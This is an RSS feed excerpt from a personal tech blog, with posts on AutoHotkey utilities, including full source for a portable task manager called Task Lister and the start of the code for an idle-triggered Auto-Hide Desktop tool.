<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-6302933238343520396</atom:id><lastBuildDate>Wed, 09 Oct 2024 02:50:43 +0000</lastBuildDate><category>Ciao Diamond</category><category>Ciao.com</category><category>depression</category><category>Copy and paste</category><category>Dysthymic Disorder</category><category>Tool</category><category>Tool review</category><category>Valentines day depression</category><category>aenima review</category><category>agnostic</category><category>agnosticism</category><category>being agnostic</category><category>boredom</category><category>ciao reviews</category><category>economic depression</category><category>evil economic financial institutions</category><category>evil republicans</category><category>evolving</category><category>evolving intellectually</category><category>free proxy</category><category>gimp</category><category>gimp tutorials</category><category>graphic design</category><category>graphics</category><category>graphics design tutorials</category><category>intellectual evolution</category><category>love</category><category>proxy</category><category>teachng people to use basic functions on a pc.</category><category>valentine</category><category>valentines day</category><category>Ænima</category><title>The Tech Microcosm</title><description>My little world of tech... and scripts...</description><link>https://techmicrocosm.blogspot.com/</link><managingEditor>noreply@blogger.com (FluxApex)</managingEditor><generator>Blogger</generator><openSearch:totalResults>58</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5777741954414866907</guid><pubDate>Fri, 06 Jan 2017 17:07:00 +0000</pubDate><atom:updated>2017-01-06T11:08:47.380-06:00</atom:updated><title>Lats AutoHotkey Functions &amp; Classes</title><description>&lt;div id=&quot;BlogBody&quot;&gt;
  &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
  &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
  &lt;div class=&quot;MsgBox&quot;&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2017/01/lats-autohotkey-functions-classes.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot; style=&quot;display: inline-block;vertical-align:middle;&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;AutoHotkey,Blog&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;h1&gt;Lats AutoHotkey Functions &amp; Classes&lt;/h1&gt;
  &lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;Lats AutoHotkey Functions &amp; Classes&lt;/span&gt; is up and running!!! Only a couple of posts so far, but one is for my Tick Count conversion class to convert Windows time since boot tick count for a better human-readable format.&lt;/p&gt;


  &lt;p&gt;Head over to Lats AutoHotkey Functions &amp; Classes to check it out!&lt;/p&gt;
&lt;a class=&quot;bt&quot; href=&quot;http://ahkfunctionmicrocosm.blogspot.com/&quot; target=&quot;_blank&quot;&gt;Lats AutoHotkey Functions &amp; Classes&lt;/a&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8Q13rzfYF8qAvx-FU0Y7H0A6HzO9XZYdb0cc3gnS6evhyR5yYSL62mm3hHYDUJE-VkcSaZT8tem_6b4qLw_lBvW1uxfkEPpzzO1SCzOb35piSxAUiw6gWieOieqmoxd_7CFKrFSmsECz/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8Q13rzfYF8qAvx-FU0Y7H0A6HzO9XZYdb0cc3gnS6evhyR5yYSL62mm3hHYDUJE-VkcSaZT8tem_6b4qLw_lBvW1uxfkEPpzzO1SCzOb35piSxAUiw6gWieOieqmoxd_7CFKrFSmsECz/s320/Capture.PNG&quot; width=&quot;320&quot; height=&quot;274&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;div class=&quot;MsgBox&quot;&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2017/01/lats-autohotkey-functions-classes.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;AutoHotkey,Blog&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2017/01/lats-autohotkey-functions-classes.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT8Q13rzfYF8qAvx-FU0Y7H0A6HzO9XZYdb0cc3gnS6evhyR5yYSL62mm3hHYDUJE-VkcSaZT8tem_6b4qLw_lBvW1uxfkEPpzzO1SCzOb35piSxAUiw6gWieOieqmoxd_7CFKrFSmsECz/s72-c/Capture.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-1885107774236246030</guid><pubDate>Mon, 28 Nov 2016 00:13:00 +0000</pubDate><atom:updated>2016-12-11T17:24:04.553-06:00</atom:updated><title>Task Lister - Portable Task Manager V1.1 - Update</title><description>&lt;div id=&quot;BlogBody&quot;&gt;
  &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
  &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
  &lt;div class=&quot;MsgBox&quot;&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/task-lister-portable-task-manager.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot; style=&quot;display: inline-block;vertical-align:middle;&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;task,process,manager,software&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;h1&gt;Task Lister V1.1 - Update&lt;/h1&gt;
  &lt;p&gt;Read update notes below.&lt;/p&gt;
  &lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;Task Lister&lt;/span&gt; is a portable task manager that can be used as an alternative to the native Windows Task Manager. It is great for flash drives or disk to use on computers that have viruses that have disabled the task manager or it can be used as a lightweight alternative to your normal Task Manager. Though not full-featured, it can do the basic things that need to be done when hunting down viruses or whatever processes you might want to handle or find. &lt;/p&gt;
  &lt;p&gt;With Task Lister you can:&lt;/p&gt;
  &lt;ul class=&quot;MyList&quot;&gt;
    &lt;li&gt;Kill any process&lt;/li&gt;
    &lt;li&gt;Open a processes folder location in explorer&lt;/li&gt;
    &lt;li&gt;Restart Windows Explorer&lt;/li&gt;
    &lt;li&gt;Run any file&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;HotKeys:&lt;/p&gt;
  &lt;ul class=&quot;MyList&quot;&gt;
    &lt;li&gt;Alt+K - Kill the higlighted process&lt;/li&gt;
    &lt;li&gt;Alt+O - Open the higlighted processes folder location in explorer, if possible&lt;/li&gt;
    &lt;li&gt;Alt+R - Restart Windows Explorer&lt;/li&gt;
    &lt;li&gt;Alt+U - Run any file&lt;/li&gt;
  &lt;/ul&gt;
 &lt;p style=&quot;color: Red;&quot;&gt;Upadte Notes:&lt;/p&gt;
  &lt;ul class=&quot;MyList&quot;&gt;
    &lt;li&gt;V1 - Intial release.&lt;/li&gt;
    &lt;li&gt;V1.1 - Fixes&lt;/li&gt;
        &lt;ul class=&quot;MyList&quot;&gt;
            &lt;li&gt;Task list now only updates when there is no user input.&lt;/li&gt;
            &lt;li&gt;Smoother menu and task list navigation.&lt;/li&gt;
            &lt;li&gt;Runs at a higher priorty.&lt;/li&gt;
            &lt;li&gt;Added a fade transition when the gui minimizes or exits. Only seems to work in Windows 10.&lt;/li&gt;
        &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3&gt;Screenshots&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqMYXVmJVjc5lH46tC30qgaV__BQ2K68zDHcaSCZL4d-AtKTmaal5noeCntU1qbFPwHz6X0JL2uqrZ9r6aklw7S5v8Vnk2UvHjgUQwi6sCyYZlA_YYQ9NGRvjgGKVkR95GDAi85tR0C06h/s1600/Untitled-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqMYXVmJVjc5lH46tC30qgaV__BQ2K68zDHcaSCZL4d-AtKTmaal5noeCntU1qbFPwHz6X0JL2uqrZ9r6aklw7S5v8Vnk2UvHjgUQwi6sCyYZlA_YYQ9NGRvjgGKVkR95GDAi85tR0C06h/s400/Untitled-1.png&quot; width=&quot;400&quot; height=&quot;287&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3&gt;Downloads&lt;/h3&gt;
  &lt;div&gt; &lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/Task-Lister/raw/master/Task%20Lister.exe&quot;&gt;Task Lister V1.1 - Portable&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/Task-Lister/raw/master/TaskLister.zip&quot;&gt;Source Files V1.1&lt;/a&gt; &lt;/div&gt;
&lt;h3&gt;Script - Initial&lt;/h3&gt;
  &lt;pre class=&quot;MyScripts&quot;&gt;
; List all tasks in a Gui with a ComboBox

; Init
if not A_IsAdmin
{
    Run *RunAs &quot;%A_ScriptFullPath%&quot;
    ExitApp
}
#NoEnv
#SingleInstance, Force
SendMode Input
SetWorkingDir %A_ScriptDir%
OnMessage(0x200,&quot;WM_MOUSEHOVER&quot;)
OnMessage(0x18,&quot;WM_SHOWWINDOW&quot;)
OnMessage(0x2a3,&quot;WM_MOUSELEAVE&quot;)
OnMessage(0x201,&quot;WM_LBUTTONDOWN&quot;)
CoordMode, ToolTip, Client

; Vars
defaultWidth:=240
x:=&quot;explorer.exe&quot;

; Build menus, intial loops and guis here
Menu, MainMenu, Add, &amp;Run,FileOpen, +Break
Menu, MainMenu, Add, Restart &amp;Explorer,RestartExplorer
Menu, MainMenu, Add, E&amp;xit,GuiClose
Menu, HelpMenu, Add, &amp;Help,Help, +Break
Menu, HelpMenu, Add, &amp;About,About
Menu, MyMenuBar, Add, &amp;File, :MainMenu
Menu, MyMenuBar, Add, &amp;Help, :HelpMenu

Menu, Tray, NoStandard
Menu, Tray, Tip, % Spaces(&quot;Tab&quot;) Spaces(&quot;Tab&quot;) &quot;Task Lister`nRight click for menu&quot;
Menu, Tray, Add, &amp;Run, FileOpen
Menu, Tray, Add, &amp;Help, Help
Menu, Tray, Add, Restart &amp;Explorer,RestartExplorer
Menu, Tray, Add, &amp;About Task Lister, About
Menu, Tray, Add
Menu, Tray, Add, E&amp;xit,GuiClose

tl:=TaskList(,,1)
Gui, Margin, 1, 1
Gui, Color,0xFEFEFA 0xFFFFFF
Gui, Font, s15 w500, Segoe UI
Gui, Add,Progress,Section  w%defaultWidth% Background0x0D4F82 c0x0078D7, 100
Gui, Add, Text, w%defaultWidth% +BackgroundTrans 0x200 +Center c0xFEFEFA yp, Task Lister
MinButton(200,20,&quot;FEFEFA&quot;,&quot;FEFEFA&quot;,True)
CloseButton(220,8,&quot;FEFEFA&quot;,&quot;FEFEFA&quot;,True)
Gui, Font, s8 w100 c0xFEFEFA, Segoe UI
Gui, Add, Progress, Background0x0D4F82 w%defaultWidth% h20 xs c0x0078D7, 100
MenuItem(&quot;&amp;File&quot;,28,,1)
MenuItem(&quot;&amp;About&quot;)

Gui, Font, s9 w400
Gui, Add, ComboBox, xs  Choose1 vChoice w%defaultWidth% 0x1 h250 +ReadOnly, % tl
Button(&quot;0x0D4F82&quot;,&quot;0x0078D7&quot;,defaultWidth,&quot;&amp;Kill Selected Task&quot;,&quot;Task Lister&quot;,&quot;FEFEFA&quot;,13)
Button(&quot;0x0D4F82&quot;,&quot;0x0078D7&quot;,defaultWidth,&quot;&amp;Open Process Location`n(If possible)&quot;,&quot;Task Lister&quot;,&quot;FEFEFA&quot;,13)
Button(&quot;0x0D4F82&quot;,&quot;0x0078D7&quot;,defaultWidth,&quot;&amp;Restart Explorer&quot;,&quot;Task Lister&quot;,&quot;FEFEFA&quot;,13)
Button(&quot;0x0D4F82&quot;,&quot;0x0078D7&quot;,defaultWidth,&quot;R&amp;un File&quot;,&quot;Task Lister&quot;,&quot;FEFEFA&quot;,13)
Gui, Show, , Task Lister
WinSet, TransColor, 0x123456 , Task Lister
Gui, -Caption +Border
Gui, Show, AutoSize, Task Lister
Gui, +LastFound +HwndMainHwnd
this_id:=WinExist()
ControlSend, ComboBox1,{Right}, ahk_id %this_id%
VarSetCapacity(tme,16,0)
NumPut(16,tme,0), NumPut(2,tme,4), NumPut(MainHwnd,tme,8)
DllCall( &quot;TrackMouseEvent&quot;,&quot;uint&quot;,&amp;tme )
SetTimer,RefreshList, 150
; End auto execute
Return

; Hotkeys
#IfWinActive, Task Lister
Alt &amp; r::Gosub, RestartExplorer
Alt &amp; o::Gosub, Open
Alt &amp; k::Gosub, ButtonKillSelectedTask
Alt &amp; u::Gosub, FileOpen
Alt &amp; f::
 CoordMode, Mouse, Client
 MouseMove,%S2X%,%S2Y2%
 Menu, MainMenu, Show
 CoordMode, Mouse, Screen
Return
Alt &amp; a::
 CoordMode, Mouse, Client
 MouseMove,%S2X%,%S2Y2%
 Menu, HelpMenu, Show
 CoordMode, Mouse ,Screen
Return
;$Down::Send, {Down}{Home}
#IfWinActive
; Functions
#Include, TLLib.ahk
#Include, ProcessInfo.ahk

; Classes


; Subs
RestartExplorer:
 If ProcExist(x)
  {
   Sleep, 150
   While, % ProcExist(x)
    {
     Process, Close, %  x
     Sleep, 1
    }
   WinWait, ahk_exe %x%,,10
   If ErrorLevel
    {
     MsgBox,20,Restart Explorer Error, % &quot;Explorer.exe could not be started.`n`n&quot;
                . &quot;Trying opening manually?&quot;
     IfMsgBox, Yes
      Gosub, FileOpen
     Return
    }
  }
 Else
  Run, % x
 SetTimer, CheckX, -4000
Return
CheckX:
 WinActivate, ahk_id %this_id%
 If ProcExist(x)
  TrayTip, Task Lister Info, Explorer.exe was restarted successfully.
Return
Open:
 Gui, Submit, NoHide
 DetectHiddenWindows, On
 WinGet,expid,PID, ahk_exe %Choice%
 this_path:=GetModuleFileNameEx(expid)
 SplitPath,this_path, ,ndir
 If ndir
  Run % ndir
 Else
  MsgBox,64,Task Lister Info,% &quot;Can not get path from executable.&quot;
 DetectHiddenWindows, Off
Return
ButtonKillSelectedTask:
 Gui, Submit, NoHide
 Process, Close, % Choice
 WinWaitNotActive, ahk_class ConsoleWindowClass
 Gui, Flash
 Gosub, RefreshList
Return
RefreshList:
 IfWinActive, % &quot;ahk_id &quot; this_id
  {
   exe:=&quot;&quot;
   Gui, Submit, NoHide
   Loop, Parse, % TaskList(,,1), |
    {
     exe:=(A_LoopField == Choice)?1:0
     If exe
      Break
    }
   If (!Choice || !exe)
    {
     ControlFocus,ComboBox1, ahk_id %this_id%
     ControlSend, ComboBox1,{Down}, ahk_id %this_id%
    }
   If (tl != TaskList(,,1))
    {
     IfWinActive, ahk_id %this_id%
      {
       WinActivate, ahk_id %this_id%
       GuiControl,,ComboBox1, % &quot;|&quot; TaskList(,,1)
       Gui, Flash
       SetTimer, TT_FADE_IN, -1
      }
     proc:=&quot;&quot;
     proc:=TaskList(,1)
     tl:=TaskList(,,1)
    }
   ControlGetFocus,focus, ahk_id %this_id%
   If (focus != &quot;Edit1&quot;)
    ControlSend, ComboBox1,{Right}, ahk_id %this_id%
  }
Return
TT_FADE_IN:
 ToolTip % &quot;TaskList updated&quot;
 ttx:=window._x(&quot;ahk_id &quot; this_id)+(E1X-2)
 tty:=window._y(&quot;ahk_id &quot; this_id)+(E1Y-2)
 WinMove, ahk_class tooltips_class32, ,%ttx% ,%tty%
 If TT_FADE(&quot;in&quot;,32)
  SetTimer,TT_FADE_OUT_FAST,-800
Return
TT_FADE_OUT_FAST:
 TT_FADE(&quot;out&quot;,16)
Return
TT_FADE_OUT_SLOW:
 TT_FADE(&quot;out&quot;,2)
Return
FileOpen:
 FileSelectFile,file,3, % A_WinDir &quot;\System32&quot;
 If file
  {
   Run, % file
   Gui, Flash
   file:=&quot;&quot;
  }
Return
Help:
 MsgBox,68,Task Lister Help, % Spaces(&quot;Tab&quot;) &quot;Task Lister is a simple program to view or kill`n&quot;
          .      &quot;Windows processes. In this portable program some`n&quot;
          .      &quot;process locations can not be opened in explorer,`n&quot;
          .      &quot;but others can.`n`n&quot;
          .      &quot;Hotkeys&quot; A_Tab &quot;Function`n&quot;
          .      &quot;-------&quot; A_Tab &quot;--------`n&quot;
          .      &quot;Alt+K&quot; A_Tab &quot;Kill selected process.`n&quot;
          .      &quot;Alt+O&quot; A_Tab &quot;Open selected processes folder location.`n`&quot;
          .      &quot;Alt+R&quot; A_Tab &quot;Restart Windows Explorer.`n&quot;
          .      &quot;Alt+U&quot; A_Tab &quot;Run a file.`n`n&quot;
          .      &quot;Email me with questions or suggestions?&quot;
 IfMsgBox, Yes
  Gosub, Email
Return
About: 
 MsgBox,64,Task Lister Info, % Spaces(&quot;Tab&quot;) &quot;Task Lister is a portable task manager for the Windows `n&quot;
          .      &quot;OS. It can be put on a disk or flash drive to use on systems `n&quot;
          .      &quot;that have been infected by viruses and the default Task `n&quot;
          .      &quot;Manager has been disabled.`n`n&quot;
          . Spaces(&quot;Tab&quot;) &quot;This is not a full-featured task manager, but feel free to`n&quot;
          .      &quot;use as a light-weight replacement for your task manager on`n&quot;
          .      &quot;your own system.`n`n&quot;
          .      &quot;Written in AutoHotkey by Ian Pride @ New Pride Services 2016&quot;
Return
Email:
 Run, mailto:faithnomoread@yahoo.com
Return
KillTT:
 counters2=255
 Loop
  {
   If (counters2 &lt;= -1)
    Break
   Sleep, 1
   SetTrans(&quot;ahk_class tooltips_class32&quot;,counters2)
   counters2-=16
  }
 ToolTip
Return
GuiClose:
 ExitApp
&lt;/pre&gt;
  &lt;div class=&quot;MsgBox&quot;&gt;
    &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/task-lister-portable-task-manager.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
    &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;task,process,manager,software&quot;&gt;Tweet&lt;/a&gt; 
      &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2016/11/task-lister-portable-task-manager.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqMYXVmJVjc5lH46tC30qgaV__BQ2K68zDHcaSCZL4d-AtKTmaal5noeCntU1qbFPwHz6X0JL2uqrZ9r6aklw7S5v8Vnk2UvHjgUQwi6sCyYZlA_YYQ9NGRvjgGKVkR95GDAi85tR0C06h/s72-c/Untitled-1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-5672163964171362195</guid><pubDate>Fri, 18 Nov 2016 21:58:00 +0000</pubDate><atom:updated>2016-11-18T16:00:09.600-06:00</atom:updated><title>Auto-Hide Desktop</title><description> &lt;div id=&quot;BlogBody&quot;&gt;
        &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
        &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/11/auto-hide-desktop.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;avertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
&lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/11/auto-hide-desktop.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;Auto-Hide Desktop&quot;&gt;Tweet&lt;/a&gt;
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;h1&gt;Auto-Hide Desktop&lt;/h1&gt;
        &lt;p&gt;There is a basic feature in Windows 7 and 10 (though there are more options for tablets in 10) that allows the user to automatically hide the taskbar until you hover at the bottom. This is okay for some, but I have always wanted my desktop to behave differently and so I have written a new program that does exactly what I want.&lt;/p&gt;
  &lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;Auto-Hide Desktop!&lt;/span&gt; will automatically hide the task bar and all desktop icons when no physical input has been received by a user after a user defined amount of time. Unlike the normal behavior you do not have to hover at the taskbar region, all you have to do is touch the mouse or keyboard and everything will automatically reappear for you as long as you have input.&lt;/p&gt;
 &lt;h2&gt;Usage&lt;/h2&gt;
 &lt;p&gt;This runs and has been tested in Windows 7 64 bit and Windows 10 32 bit tablet, but though it won&#39;t cause any issues you might not like the result mixed with the systems Windows 10 tablet mode. Though you may. ShowDesk.exe is a child process of the main program and ensures that if for some unknown reason the main program fails while all is hidden then it will show everything upon failure. I have tested on tons of force closes and works everytime. If all else fails just reboot your system.&lt;/p&gt;
 &lt;p&gt; The only gui is the settings which can be found in the system tray icon by right clicking on it and selecting &#39;Settings&#39;. In settings you can set the idle delay and also choose to auto-run the program at Windows startup or not. Default idle delay is 3 seconds, but can be set up to 9999 seconds (lol) and, of course, auto-run is disabled by default.&lt;/p&gt;
 &lt;h2&gt;Images &amp; Screens&lt;/h2&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwCQU1EZwKkW8xhlNGM9-t8VpWdOIR_inN1w-Gl48k1hPEbZJInS0YhR6JgEkO6RdMsgDubACpONfqrzNIBY5eOu3ElmF-HqJqVfBZpZwcGEN6Yae0JFyUjovx0lmuMRBT5ItyZt5TEAwo/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwCQU1EZwKkW8xhlNGM9-t8VpWdOIR_inN1w-Gl48k1hPEbZJInS0YhR6JgEkO6RdMsgDubACpONfqrzNIBY5eOu3ElmF-HqJqVfBZpZwcGEN6Yae0JFyUjovx0lmuMRBT5ItyZt5TEAwo/s1600/Capture.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiy6p5Je5n2oOZ2B5TBO5nEaoDBJtaWaxKk-UKxTl6FyjKtzXnDN6r_oguDJpuVk_qrCWnNLWsTnhl6xk9v1OgNiHscTnSk06MhS6m5YYg8SJizEUTV32xl-8pJNnlJXbq2BFtnhcWGbdL/s1600/adhicon.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiy6p5Je5n2oOZ2B5TBO5nEaoDBJtaWaxKk-UKxTl6FyjKtzXnDN6r_oguDJpuVk_qrCWnNLWsTnhl6xk9v1OgNiHscTnSk06MhS6m5YYg8SJizEUTV32xl-8pJNnlJXbq2BFtnhcWGbdL/s1600/adhicon.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
    &lt;h2&gt;Downloads&lt;/h2&gt;
    &lt;div&gt;
        &lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/Auto-Hide-Desktop/raw/master/Auto-HideDesktop.zip&quot;&gt;Auto-Hide Desktop main zip&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/Auto-Hide-Desktop/raw/master/Auto-HideDesktop.7z&quot;&gt;Source Files&lt;/a&gt;
&lt;br /&gt;
&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/Auto-Hide-Desktop&quot; target=&quot;_blank&quot;&gt;Project at GitHub&lt;/a&gt;
        &lt;/div&gt;
&lt;h2&gt;Script - main function library&lt;/h2&gt;
&lt;pre class=&quot;MyScripts&quot;&gt;
RR(path,name){
 RegRead,a,% path, % name
 Return a
}
Settings(){
 Global delay,runState
 Gui, Settings:New
 Gui, Settings: Color, 0xFFFFFF, 0xFEFEFA
 Gui, Settings:Font,s11,Segoe UI
